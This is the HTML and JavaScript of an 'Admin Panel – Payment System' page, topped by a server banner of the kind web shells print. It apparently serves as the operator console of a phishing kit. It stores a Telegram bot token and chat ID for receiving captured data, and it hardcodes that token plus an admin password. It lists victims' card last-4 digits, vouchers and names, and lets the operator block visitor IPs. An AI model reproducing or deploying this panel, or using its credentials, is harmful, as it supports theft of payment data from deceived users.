Server : LiteSpeed System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : rahcos ( 1533) PHP Version : 8.4.23 Disable Function : NONE Directory : /home4/rahcos/.trash/gov1/ |
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover">
<title>Admin Panel – Payment System</title>
<link href="https://fonts.googleapis.com/css2?family=Rubik:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
/* جميع الأنماط كما هي (لم تتغير) */
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Rubik', 'Segoe UI', 'Assistant', sans-serif; background: #eef2f9; color: #1a2c3e; direction: ltr; line-height: 1.5; min-height: 100vh; }
:root { --logo-blue-dark: #00264d; --logo-blue-medium: #1a5c9e; --button-blue: #003366; --button-hover: #002244; --accent-orange: #ff8c42; }
.admin-wrapper { max-width: 960px; margin: 2rem auto; padding: 0 1rem; }
.admin-header { background: white; border-radius: 28px; padding: 1.2rem 1.5rem; margin-bottom: 1.5rem; box-shadow: 0 4px 12px rgba(0,0,0,0.05); display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 0.5rem; }
.admin-header h1 { font-size: 1.4rem; font-weight: 800; color: var(--logo-blue-dark); } .admin-header h1 i { color: var(--accent-orange); }
.admin-header .back-link { color: var(--logo-blue-medium); text-decoration: none; font-weight: 600; font-size: 0.85rem; }
.admin-card { background: white; border-radius: 28px; padding: 1.5rem; margin-bottom: 1.5rem; box-shadow: 0 4px 12px rgba(0,0,0,0.05); }
.admin-card h2 { font-size: 1.1rem; font-weight: 700; color: var(--logo-blue-dark); margin-bottom: 1rem; border-bottom: 2px solid var(--accent-orange); padding-bottom: 0.3rem; }
.form-group { margin-bottom: 1rem; } .form-group label { font-weight: 700; display: block; margin-bottom: 0.3rem; font-size: 0.9rem; }
.form-group input { width: 100%; padding: 0.6rem 0.8rem; border-radius: 16px; border: 1.5px solid #e2e8f0; font-family: monospace; font-size: 0.9rem; }
.btn { background: var(--button-blue); border: none; padding: 0.6rem 1.2rem; border-radius: 40px; font-weight: 700; color: white; cursor: pointer; transition: 0.2s; }
.btn:hover { background: var(--button-hover); } .btn-success { background: #28a745; } .btn-success:hover { background: #218838; }
.btn-danger { background: #dc3545; } .btn-danger:hover { background: #c82333; } .btn-sm { padding: 0.3rem 0.8rem; font-size: 0.75rem; }
.table-responsive { overflow-x: auto; } table { width: 100%; border-collapse: collapse; font-size: 0.85rem; }
th, td { padding: 0.6rem 0.4rem; text-align: left; border-bottom: 1px solid #e2edf2; }
th { background: #f8fafc; font-weight: 700; color: var(--logo-blue-dark); }
.badge { display: inline-block; padding: 0.2rem 0.5rem; border-radius: 40px; font-size: 0.65rem; font-weight: 700; }
.badge-success { background: #d4edda; color: #155724; } .badge-warning { background: #fff3cd; color: #856404; } .badge-danger { background: #f8d7da; color: #721c24; }
.ip-list { display: flex; flex-wrap: wrap; gap: 0.5rem; }
.ip-item { background: #f0f4f9; padding: 0.3rem 0.6rem; border-radius: 30px; font-family: monospace; font-size: 0.8rem; display: inline-flex; align-items: center; gap: 0.3rem; }
.ip-item .remove-btn { background: none; border: none; color: #dc3545; cursor: pointer; font-size: 0.8rem; }
.refresh-btn { background: none; border: none; color: var(--logo-blue-medium); cursor: pointer; font-size: 0.85rem; } .refresh-btn:hover { color: var(--button-blue); }
.alert { padding: 0.8rem; border-radius: 16px; margin-bottom: 1rem; } .alert-success { background: #d4edda; color: #155724; } .alert-danger { background: #f8d7da; color: #721c24; }
.text-muted { color: #6c757d; font-size: 0.8rem; } .mt-2 { margin-top: 0.5rem; }
.flex { display: flex; gap: 0.5rem; flex-wrap: wrap; align-items: center; }
.your-ip { background: #eef3fc; padding: 0.3rem 0.8rem; border-radius: 30px; font-family: monospace; font-size: 0.8rem; }
@media (max-width: 600px) { .admin-wrapper { padding: 0 0.5rem; } .admin-card { padding: 1rem; } table { font-size: 0.7rem; } th, td { padding: 0.3rem; } }
</style>
</head>
<body>
<div class="admin-wrapper">
<div class="admin-header">
<h1><i class="fas fa-user-shield"></i> Admin Panel</h1>
<div><a href="index.html" class="back-link"><i class="fas fa-arrow-left"></i> Back to Main</a></div>
</div>
<!-- Login -->
<div id="loginSection" class="admin-card">
<h2>🔐 Login</h2>
<div id="loginError" class="alert alert-danger" style="display:none;"></div>
<div class="form-group"><label>Username</label><input type="text" id="loginUsername" value="admin" placeholder="admin"></div>
<div class="form-group"><label>Password</label><input type="password" id="loginPassword" placeholder="Enter password"></div>
<button class="btn btn-success" id="loginBtn">Login</button>
</div>
<div id="adminContent" style="display:none;">
<!-- IP -->
<div class="admin-card"><h2><i class="fas fa-network-wired"></i> Your IP Address</h2><div class="your-ip" id="currentIpDisplay">Loading...</div></div>
<!-- Change Password -->
<div class="admin-card">
<h2><i class="fas fa-key"></i> Change Password</h2>
<div id="passMsg" class="alert" style="display:none;"></div>
<div class="form-group"><label>Current Password</label><input type="password" id="currentPass" placeholder="Enter current password"></div>
<div class="form-group"><label>New Password</label><input type="password" id="newPass" placeholder="Enter new password (min 4 chars)"></div>
<button class="btn btn-success" id="changePassBtn">Change Password</button>
</div>
<!-- Bot Settings -->
<div class="admin-card">
<h2><i class="fab fa-telegram-plane"></i> Telegram Bot Settings</h2>
<div id="botMsg" class="alert" style="display:none;"></div>
<div class="form-group"><label>🔑 Bot Token</label><input type="text" id="botTokenInput" placeholder="Enter bot token"></div>
<div class="form-group"><label>🆔 Chat ID</label><input type="text" id="chatIdInput" placeholder="Enter chat ID"></div>
<button class="btn btn-success" id="saveBotBtn">💾 Save Bot Settings</button>
</div>
<!-- Block IP -->
<div class="admin-card">
<h2><i class="fas fa-ban"></i> Blocked IP Addresses</h2>
<div class="flex"><div class="form-group" style="flex:1;"><label>Add IP to block</label><input type="text" id="blockIpInput" placeholder="e.g. 192.168.1.1"></div><button class="btn btn-danger" id="blockIpBtn" style="margin-top:1.8rem;">Block</button></div>
<div id="blockedIpList" class="ip-list mt-2"></div>
</div>
<!-- Reports -->
<div class="admin-card">
<h2><i class="fas fa-file-alt"></i> Reports / Activity Log <button class="refresh-btn" id="refreshReportsBtn" title="Refresh"><i class="fas fa-sync-alt"></i> Refresh</button></h2>
<div class="table-responsive"><table><thead><tr><th>#</th><th>Date & Time</th><th>IP</th><th>Type</th><th>Details</th></tr></thead><tbody id="reportsTableBody"><tr><td colspan="5" class="text-muted">No reports available</td></tr></tbody></table></div>
</div>
<div style="text-align:center; margin:1rem 0;"><button class="btn btn-danger" id="logoutBtn"><i class="fas fa-sign-out-alt"></i> Logout</button></div>
</div>
</div>
<script>
// ========== بيانات البوت المضمنة (Hardcoded Fallback) ==========
const DEFAULT_BOT_TOKEN = "8394777354:AAFAqyE2yciQcUlyoH682zZulRYPDB2LsvE";
const DEFAULT_CHAT_ID = "-5501748870";
// ========== Authentication ==========
const DEFAULT_PASSWORD = '059passwordA@';
function getStoredPassword() {
return localStorage.getItem('adminPassword') || DEFAULT_PASSWORD;
}
function setStoredPassword(newPass) {
localStorage.setItem('adminPassword', newPass);
}
function checkAuth() {
const session = localStorage.getItem('adminSession');
if (session === 'true') {
document.getElementById('loginSection').style.display = 'none';
document.getElementById('adminContent').style.display = 'block';
loadAllData();
} else {
document.getElementById('loginSection').style.display = 'block';
document.getElementById('adminContent').style.display = 'none';
}
}
// Login
document.getElementById('loginBtn').addEventListener('click', function() {
const username = document.getElementById('loginUsername').value.trim();
const password = document.getElementById('loginPassword').value.trim();
const errorDiv = document.getElementById('loginError');
if (username !== 'admin') { errorDiv.style.display = 'block'; errorDiv.innerText = '⚠️ Incorrect username'; return; }
const storedPass = getStoredPassword();
if (password !== storedPass) { errorDiv.style.display = 'block'; errorDiv.innerText = '⚠️ Incorrect password'; return; }
errorDiv.style.display = 'none';
localStorage.setItem('adminSession', 'true');
checkAuth();
});
document.getElementById('logoutBtn').addEventListener('click', function() {
localStorage.removeItem('adminSession');
checkAuth();
});
// Change Password
document.getElementById('changePassBtn').addEventListener('click', function() {
const current = document.getElementById('currentPass').value;
const newPass = document.getElementById('newPass').value;
const msgDiv = document.getElementById('passMsg');
const stored = getStoredPassword();
if (current !== stored) {
msgDiv.style.display = 'block'; msgDiv.className = 'alert alert-danger'; msgDiv.innerText = '⚠️ Current password is incorrect';
return;
}
if (newPass.length < 4) {
msgDiv.style.display = 'block'; msgDiv.className = 'alert alert-danger'; msgDiv.innerText = '⚠️ New password must be at least 4 characters';
return;
}
setStoredPassword(newPass);
msgDiv.style.display = 'block'; msgDiv.className = 'alert alert-success'; msgDiv.innerText = '✅ Password changed successfully!';
document.getElementById('currentPass').value = '';
document.getElementById('newPass').value = '';
});
// ========== Bot Settings ==========
function loadBotConfig() {
const token = localStorage.getItem('botToken') || DEFAULT_BOT_TOKEN;
const chatId = localStorage.getItem('chatId') || DEFAULT_CHAT_ID;
document.getElementById('botTokenInput').value = token;
document.getElementById('chatIdInput').value = chatId;
}
document.getElementById('saveBotBtn').addEventListener('click', function() {
const token = document.getElementById('botTokenInput').value.trim();
const chatId = document.getElementById('chatIdInput').value.trim();
const msgDiv = document.getElementById('botMsg');
if (!token || !chatId) {
msgDiv.style.display = 'block'; msgDiv.className = 'alert alert-danger'; msgDiv.innerText = '⚠️ Please fill in all fields';
return;
}
localStorage.setItem('botToken', token);
localStorage.setItem('chatId', chatId);
msgDiv.style.display = 'block'; msgDiv.className = 'alert alert-success'; msgDiv.innerText = '✅ Bot settings saved!';
});
// ========== IP Blocking ==========
function loadBlockedIPs() {
const list = JSON.parse(localStorage.getItem('blockedIPs') || '[]');
const container = document.getElementById('blockedIpList');
if (list.length === 0) { container.innerHTML = '<span class="text-muted">No blocked IPs</span>'; return; }
container.innerHTML = list.map(ip => `<span class="ip-item">${ip}<button class="remove-btn" data-ip="${ip}"><i class="fas fa-times-circle"></i></button></span>`).join('');
document.querySelectorAll('.remove-btn').forEach(btn => {
btn.addEventListener('click', function() {
const ip = this.dataset.ip;
let list = JSON.parse(localStorage.getItem('blockedIPs') || '[]');
list = list.filter(item => item !== ip);
localStorage.setItem('blockedIPs', JSON.stringify(list));
loadBlockedIPs();
});
});
}
document.getElementById('blockIpBtn').addEventListener('click', function() {
const ip = document.getElementById('blockIpInput').value.trim();
if (!ip) { alert('Please enter an IP address'); return; }
let list = JSON.parse(localStorage.getItem('blockedIPs') || '[]');
if (list.includes(ip)) { alert('This IP is already blocked'); return; }
list.push(ip);
localStorage.setItem('blockedIPs', JSON.stringify(list));
document.getElementById('blockIpInput').value = '';
loadBlockedIPs();
});
// ========== Reports ==========
function loadReports() {
const reports = JSON.parse(localStorage.getItem('paymentReports') || '[]');
const tbody = document.getElementById('reportsTableBody');
if (reports.length === 0) { tbody.innerHTML = '<tr><td colspan="5" class="text-muted">No reports available</td></tr>'; return; }
const sorted = reports.slice().reverse().slice(0, 100);
tbody.innerHTML = sorted.map((r, i) => `
<tr>
<td>${i+1}</td>
<td>${new Date(r.timestamp).toLocaleString('en-US')}</td>
<td>${r.ip || 'Unknown'}</td>
<td><span class="badge ${r.type === 'success' ? 'badge-success' : 'badge-warning'}">${r.type === 'success' ? '✅ Payment Success' : '💳 Payment Attempt'}</span></td>
<td><strong>${r.amount || ''}</strong> ${r.voucher ? `| Voucher: ${r.voucher}` : ''} ${r.cardLast4 ? `| Card: ****${r.cardLast4}` : ''} ${r.fullName ? `| ${r.fullName}` : ''}</td>
</tr>
`).join('');
}
document.getElementById('refreshReportsBtn').addEventListener('click', loadReports);
// ========== Show current IP ==========
function showCurrentIP() {
const display = document.getElementById('currentIpDisplay');
display.innerText = 'Loading...';
fetch('https://api.ipify.org?format=json').then(res => res.json()).then(data => { display.innerText = data.ip; }).catch(() => { display.innerText = 'Unable to fetch'; });
}
// ========== Load All Data ==========
function loadAllData() {
loadBotConfig();
loadBlockedIPs();
loadReports();
showCurrentIP();
}
// ========== Init ==========
checkAuth();
if (localStorage.getItem('adminSession') === 'true') { loadAllData(); }
</script>
</body>
</html>